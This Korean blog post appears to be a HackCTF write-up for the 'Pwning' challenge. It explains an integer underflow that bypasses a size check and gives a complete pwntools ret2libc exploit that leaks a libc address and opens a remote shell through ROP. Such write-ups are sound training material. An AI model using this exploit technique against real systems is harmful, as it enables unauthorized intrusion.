[HackCTF] Pwning 풀이 (300p)
Wargame/HackCTF

[HackCTF] Pwning 풀이 (300p)

 

 

풀이

Arch:     i386-32-little
RELRO:    Partial RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x8048000)


원하는 사이즈를 입력하고 data를 입력받고 프로그램을 종료한다.


size를 입력받는 데 32 이상이면 프로그램이 종료된다.

overflow를 발생시키려면 무조건 nptr의 크기보다 크게 입력을 받아야한다.

 

이 문제는 간단하게 Integer underflow를 이용해 해결할 수 있다. (Integer underflow를 모른다면 꼭 찾아보시길)

size에 -1를 넣어 크기를 아주 많이 넉넉하게 늘려주자.

그 후, ROP를 이용해 쉘을 따주면 된다


from pwn import *

#context.log_level = 'debug'
p = remote('ctf.j0n9hyun.xyz', 3019)
e = ELF('./pwning')


pr = 0x804835d
ppr = 0x804864e

p.sendline('-1')

payload = 'A'*48
payload += p32(e.plt['printf'])
payload += p32(pr)
payload += p32(e.got['printf'])
payload += p32(e.symbols['vuln'])

p.recvuntil('!\n')
p.sendline(payload)
p.recvline()

arr = u32(p.recv(4))

base = arr - 0x49020
system = base + 0x3a940
binsh = base + 0x15902b

p.sendline('-1')

payload = 'A'*48
payload += p32(system)
payload += 'B'*4
payload += p32(binsh)

p.recvuntil('!\n')
p.sendline(payload)
p.interactive()

'Wargame > HackCTF' 카테고리의 다른 글

[HackCTF] ROP 풀이 (300p)  (0) 2020.12.29
[HackCTF] UAF 풀이 (300p)  (0) 2020.12.28
[HackCTF] Gift 풀이 (250p)  (0) 2020.12.28
[HackCTF] Look at me 풀이 (250p)  (0) 2020.12.28
[HackCTF] Beginner_Heap 풀이 (250p)  (0) 2020.12.28